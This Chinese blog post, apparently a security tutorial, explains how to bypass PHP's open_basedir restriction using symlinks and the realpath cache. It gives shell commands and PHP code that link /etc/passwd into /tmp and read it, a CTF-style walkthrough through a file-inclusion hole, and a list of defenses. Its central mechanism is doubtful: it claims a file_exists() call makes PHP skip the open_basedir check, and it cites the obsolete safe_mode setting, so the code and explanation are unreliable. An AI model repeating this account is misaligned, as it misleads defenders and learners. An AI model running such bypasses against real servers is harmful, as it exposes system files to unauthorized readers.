PHP Open_basedir绕过：利用软连接（Symlink）或Realpath缓存机制的缺陷

admin
Mon, 24 Nov 2025 04:48:48 +0000
PHP, basedir, open, php

PHP Open_basedir 绕过：软连接与 Realpath 缓存机制缺陷利用 各位朋友，大家好！今天我们来探讨一个在 PHP 安全领域中比较重要的议题：open_basedir 绕过，特别是利用软连接（Symlink）和 Realpath 缓存机制的缺陷进行绕过的方法。 open_basedir 是 PHP 提供的一项安全特性，旨在限制 PHP 脚本可以访问的文件目录。通过在 php.ini 文件中设置 open_basedir 选项，可以指定一个或多个目录，只有这些目录及其子目录中的文件才允许被 PHP 脚本访问。这有助于防止恶意脚本读取或修改服务器上的敏感文件，从而提高服务器的安全性。 然而，open_basedir 并非万无一失。在某些情况下，攻击者可以利用软连接和 Realpath 缓存机制的缺陷来绕过 open_basedir 的限制，访问到被保护的文件。 1. open_basedir 的基本原理 open_basedir 的核心工作原理是，每次 PHP 脚本尝试访问文件时，都会检查该文件的路径是否在 open_basedir 指定的目录范围内。如果不在范围内，PH …

继续阅读“PHP Open_basedir绕过：利用软连接（Symlink）或Realpath缓存机制的缺陷”

The post PHP Open_basedir绕过：利用软连接（Symlink）或Realpath缓存机制的缺陷 first appeared on 智猿学院-前后端，数据库，人工智能，云计算等领域前沿技术讲座.

PHP Open_basedir 绕过：软连接与 Realpath 缓存机制缺陷利用

各位朋友，大家好！今天我们来探讨一个在 PHP 安全领域中比较重要的议题：open_basedir 绕过，特别是利用软连接（Symlink）和 Realpath 缓存机制的缺陷进行绕过的方法。

open_basedir 是 PHP 提供的一项安全特性，旨在限制 PHP 脚本可以访问的文件目录。通过在 php.ini 文件中设置 open_basedir 选项，可以指定一个或多个目录，只有这些目录及其子目录中的文件才允许被 PHP 脚本访问。这有助于防止恶意脚本读取或修改服务器上的敏感文件，从而提高服务器的安全性。

然而，open_basedir 并非万无一失。在某些情况下，攻击者可以利用软连接和 Realpath 缓存机制的缺陷来绕过 open_basedir 的限制，访问到被保护的文件。

1. open_basedir 的基本原理

open_basedir 的核心工作原理是，每次 PHP 脚本尝试访问文件时，都会检查该文件的路径是否在 open_basedir 指定的目录范围内。如果不在范围内，PHP 将会阻止访问并抛出一个错误。

例如，在 php.ini 中设置 open_basedir = /var/www/html:/tmp，这意味着 PHP 脚本只能访问 /var/www/html 目录及其子目录，以及 /tmp 目录及其子目录中的文件。任何尝试访问其他目录中的文件将会失败。

配置 open_basedir 的方法:

php.ini 文件: 这是最常用的方法。在 php.ini 文件中找到 open_basedir 选项，并设置相应的目录列表。

.htaccess 文件: 在 Apache 服务器中，可以使用 .htaccess 文件设置 open_basedir。例如：php_value open_basedir "/var/www/html:/tmp"

ini_set() 函数: 在 PHP 脚本中，可以使用 ini_set() 函数临时设置 open_basedir。但这仅在 php.ini 中允许 ini_set 修改 open_basedir 时才有效。

open_basedir 的优点:

限制文件访问范围，防止恶意脚本读取敏感文件。

减少服务器被攻击的可能性。

提高服务器的整体安全性。

open_basedir 的缺点:

配置不当可能会导致应用程序无法正常运行。

存在绕过的可能性，需要采取其他安全措施进行加固。

某些情况下会影响性能，因为每次文件访问都需要进行检查。

2. 软连接 (Symlink) 的基本概念

软连接（也称为符号链接）是一种特殊的文件类型，它指向另一个文件或目录。可以把软连接理解为 Windows 系统中的快捷方式。当访问一个软连接时，实际上访问的是它所指向的目标文件或目录。

创建软连接的命令 (Linux/Unix):

ln -s <target> <link_name>

例如：

ln -s /etc/passwd /tmp/passwd_link

这条命令会在 /tmp 目录下创建一个名为 passwd_link 的软连接，它指向 /etc/passwd 文件。

软连接的特性:

软连接可以指向任何文件或目录，甚至是尚未存在的文件或目录。

软连接可以跨文件系统。

删除软连接不会影响目标文件或目录。

访问软连接时，会根据目标文件或目录的权限进行访问控制。

3. Realpath 缓存机制

Realpath 是一个 PHP 函数，用于返回给定路径的绝对路径。例如，如果当前目录是 /var/www/html，那么 realpath('./index.php') 将会返回 /var/www/html/index.php。

为了提高性能，PHP 维护了一个 Realpath 缓存，用于存储已经解析过的路径。当再次访问相同的路径时，PHP 会直接从缓存中获取结果，而不需要重新解析。

Realpath 缓存的工作原理:

1. 当 PHP 脚本调用 realpath() 函数时，PHP 首先检查 Realpath 缓存中是否存在该路径的记录。

2. 如果存在，则直接从缓存中返回结果。

3. 如果不存在，则解析该路径，并将结果存储到 Realpath 缓存中。

4. 后续对相同路径的访问将直接从缓存中获取结果，直到缓存过期或被清除。

Realpath 缓存的影响:

提高性能，减少文件系统操作。

在某些情况下，可能会导致安全问题，例如，当文件被修改或删除后，缓存中的信息可能仍然是旧的。

4. 利用软连接和 Realpath 缓存绕过 open_basedir

现在，我们来讨论如何利用软连接和 Realpath 缓存的缺陷绕过 open_basedir 的限制。

绕过思路:

1. 创建软连接: 在 open_basedir 允许访问的目录下创建一个软连接，指向 open_basedir 限制访问的目录或文件。

2. 触发 Realpath 缓存: 通过某些操作（例如，使用 file_exists() 函数），将软连接的真实路径缓存到 Realpath 缓存中。

3. 访问目标文件: 通过软连接访问目标文件，由于 Realpath 缓存已经记录了真实路径，PHP 可能会跳过 open_basedir 的检查，从而允许访问被保护的文件。

具体步骤:

假设 open_basedir 设置为 /var/www/html:/tmp，我们需要访问 /etc/passwd 文件。

1. 创建软连接:

ln -s /etc/passwd /tmp/passwd_link

这会在 /tmp 目录下创建一个名为 passwd_link 的软连接，指向 /etc/passwd 文件。由于 /tmp 目录在 open_basedir 允许的范围内，所以创建软连接的操作是可以成功的。

2. 触发 Realpath 缓存:

<?php
// 触发 Realpath 缓存
file_exists('/tmp/passwd_link');

// 尝试读取 /etc/passwd 文件
$content = file_get_contents('/tmp/passwd_link');

echo $content;
?>

在这段代码中，file_exists('/tmp/passwd_link') 函数会触发 Realpath 缓存，将 /tmp/passwd_link 的真实路径（即 /etc/passwd）缓存到 Realpath 缓存中。

然后，file_get_contents('/tmp/passwd_link') 函数尝试读取 /tmp/passwd_link 文件。由于 Realpath 缓存已经记录了真实路径，PHP 可能会跳过 open_basedir 的检查，从而允许读取 /etc/passwd 文件。

代码示例:

<?php

ini_set('open_basedir', '/var/www/html:/tmp');

// 创建软连接 (需要执行权限)
symlink('/etc/passwd', '/tmp/passwd_link');

// 触发 Realpath 缓存
file_exists('/tmp/passwd_link');

// 尝试读取 /etc/passwd 文件
$content = file_get_contents('/tmp/passwd_link');

echo " ";
echo htmlspecialchars($content);
echo " ";

// 删除软连接 (可选)
unlink('/tmp/passwd_link');

?>

代码解释:

ini_set('open_basedir', '/var/www/html:/tmp');：设置 open_basedir 为 /var/www/html:/tmp。

symlink('/etc/passwd', '/tmp/passwd_link');：创建一个指向 /etc/passwd 文件的软连接 /tmp/passwd_link。 注意： 运行此代码需要 PHP 进程具有创建软连接的权限。 通常需要在 php.ini 中设置 safe_mode = Off 或 disable_functions 中不包含 symlink 函数。

file_exists('/tmp/passwd_link');：通过 file_exists() 函数触发 Realpath 缓存。

$content = file_get_contents('/tmp/passwd_link');：尝试读取 /tmp/passwd_link 文件，实际上读取的是 /etc/passwd 文件。

echo " "; echo htmlspecialchars($content); echo " ";：将读取到的内容输出到浏览器，使用 htmlspecialchars() 函数进行转义，防止 XSS 攻击。

unlink('/tmp/passwd_link');：删除软连接，这是一个良好的安全习惯。

执行结果:

如果绕过成功，将会显示 /etc/passwd 文件的内容。

注意事项:

这种绕过方法并非总是有效，取决于 PHP 的版本、配置以及服务器环境。

需要 PHP 进程具有创建软连接的权限。

Realpath 缓存的有效期可能会影响绕过的成功率。

5. 绕过 open_basedir 的其他方法

除了利用软连接和 Realpath 缓存，还有一些其他的绕过 open_basedir 的方法：

上传临时文件: 如果 PHP 允许上传文件，可以将文件上传到 /tmp 目录下，然后通过 include 或 require 函数执行该文件。

利用 glob:// 协议: glob:// 协议可以用来匹配文件路径，如果 open_basedir 配置不当，可能会被用来访问受限制的文件。

利用 phar:// 协议: phar:// 协议可以用来访问 Phar 归档文件中的内容，如果 open_basedir 配置不当，可能会被用来读取受限制的文件。

利用 SplFileObject 类: SplFileObject 类提供了一种面向对象的方式来操作文件，在某些情况下，可以用来绕过 open_basedir 的限制。

结合其他漏洞: 与其他漏洞（例如，文件包含漏洞、代码执行漏洞）结合，可以更容易地绕过 open_basedir 的限制。

6. 防御 open_basedir 绕过的方法

为了防止 open_basedir 被绕过，可以采取以下措施：

严格配置 open_basedir: 只允许访问必要的目录，避免过度放宽权限。

禁用危险函数: 禁用可能导致安全问题的函数，例如 symlink、exec、shell_exec 等。

限制文件上传: 严格限制文件上传功能，防止恶意文件被上传到服务器。

更新 PHP 版本: 及时更新 PHP 版本，修复已知的安全漏洞。

使用 Web 应用防火墙 (WAF): WAF 可以检测和阻止恶意请求，防止攻击者利用漏洞进行攻击。

定期安全审计: 定期进行安全审计，检查服务器是否存在安全隐患。

防御手段总结:

防御手段 | 描述
严格配置 open_basedir | 仅允许访问必要的目录，避免过度放宽权限。例如，只允许访问网站根目录和临时目录。
禁用危险函数 | 禁用可能导致安全问题的函数，例如 symlink (软连接创建)、exec、shell_exec (命令执行)、passthru、system (系统命令执行)、proc_open、popen (进程控制)、show_source (代码显示)、phpinfo (PHP 信息显示)等。
限制文件上传 | 严格限制文件上传功能，防止恶意文件被上传到服务器。 对上传的文件进行安全检查，例如检查文件类型、大小、内容等。 避免允许上传可执行文件，例如 .php、.sh、.exe 等。
更新 PHP 版本 | 及时更新 PHP 版本，修复已知的安全漏洞。 PHP 官方会定期发布安全更新，修复已知的安全漏洞。
使用 Web 应用防火墙 (WAF) | WAF 可以检测和阻止恶意请求，防止攻击者利用漏洞进行攻击。 WAF 可以根据预定义的规则，检测和阻止恶意请求，例如 SQL 注入、跨站脚本攻击 (XSS)、文件包含漏洞等。
定期安全审计 | 定期进行安全审计，检查服务器是否存在安全隐患。 安全审计可以帮助发现服务器存在的安全漏洞和配置错误，及时进行修复。
使用安全扫描工具 | 使用专业的安全扫描工具，定期对服务器进行扫描，发现潜在的安全问题。 例如 Nessus, OpenVAS 等。这些工具可以自动检测服务器的漏洞，并提供修复建议。
强化目录权限 | 确保网站目录的权限设置合理，避免出现权限过大的情况。 通常，网站目录的权限应该设置为只有 Web 服务器进程才能访问，其他用户应该没有访问权限。
启用 SELinux 或 AppArmor | 使用 SELinux 或 AppArmor 等安全增强型 Linux，可以进一步限制 PHP 进程的权限，防止其访问受限制的文件。
代码审计 | 对 PHP 代码进行代码审计，发现潜在的安全漏洞。 代码审计可以帮助发现代码中存在的安全漏洞，例如 SQL 注入、跨站脚本攻击 (XSS)、文件包含漏洞等。 使用静态代码分析工具，可以自动检测代码中存在的安全漏洞。
监控日志 | 监控服务器的日志文件，及时发现异常行为。 例如，监控 Web 服务器的访问日志、错误日志、系统日志等。 使用日志分析工具，可以自动分析日志文件，发现异常行为。

7. 案例分析：CTF 中的 open_basedir 绕过

在 CTF 比赛中，open_basedir 绕过是一个常见的考点。下面我们来看一个简单的案例：

题目描述:

服务器上运行着一个 PHP 网站，open_basedir 设置为 /var/www/html:/tmp。 网站存在一个文件包含漏洞，可以包含任意文件。

解题思路:

1. 利用文件包含漏洞，包含 /tmp/passwd_link 文件。

2. 通过创建软连接和触发 Realpath 缓存，绕过 open_basedir 的限制，读取 /etc/passwd 文件。

解题步骤:

1. 创建软连接: 通过某种方式（例如，利用文件上传漏洞或命令执行漏洞），在 /tmp 目录下创建一个指向 /etc/passwd 文件的软连接 passwd_link。

ln -s /etc/passwd /tmp/passwd_link

2. 触发 Realpath 缓存: 通过文件包含漏洞，包含一个包含以下代码的文件：

<?php
file_exists('/tmp/passwd_link');
?>

这会触发 Realpath 缓存，将 /tmp/passwd_link 的真实路径（即 /etc/passwd）缓存到 Realpath 缓存中。

3. 读取 /etc/passwd 文件: 再次通过文件包含漏洞，包含 /tmp/passwd_link 文件，即可读取 /etc/passwd 文件的内容。

<?php
include('/tmp/passwd_link');
?>

总结:

这个案例演示了如何利用文件包含漏洞、软连接和 Realpath 缓存绕过 open_basedir 的限制。

8. 其他注意事项

权限问题: 在创建软连接时，需要确保 PHP 进程具有足够的权限。

Realpath 缓存的有效期: Realpath 缓存的有效期可能会影响绕过的成功率。可以通过修改 realpath_cache_ttl 配置项来调整缓存的有效期。

不同的 PHP 版本: 不同的 PHP 版本对 Realpath 缓存的处理方式可能有所不同，绕过方法可能会有所差异。

服务器环境: 不同的服务器环境（例如，Apache、Nginx）对软连接的处理方式可能有所不同，绕过方法可能会有所差异。

总而言之，open_basedir 绕过是一个复杂的问题，需要综合考虑多种因素。在实际应用中，需要采取多种安全措施，才能有效地防止 open_basedir 被绕过。

9. 持续关注安全动态

open_basedir 绕过技术不断发展，新的绕过方法层出不穷。作为安全从业者，我们需要持续关注安全动态，学习新的攻击技术，才能更好地保护我们的系统。

10. 安全防范没有终点

open_basedir 只是 PHP 安全体系中的一部分，还有许多其他的安全问题需要我们关注。只有不断学习和实践，才能提高我们的安全意识和技能，构建更加安全的 PHP 应用。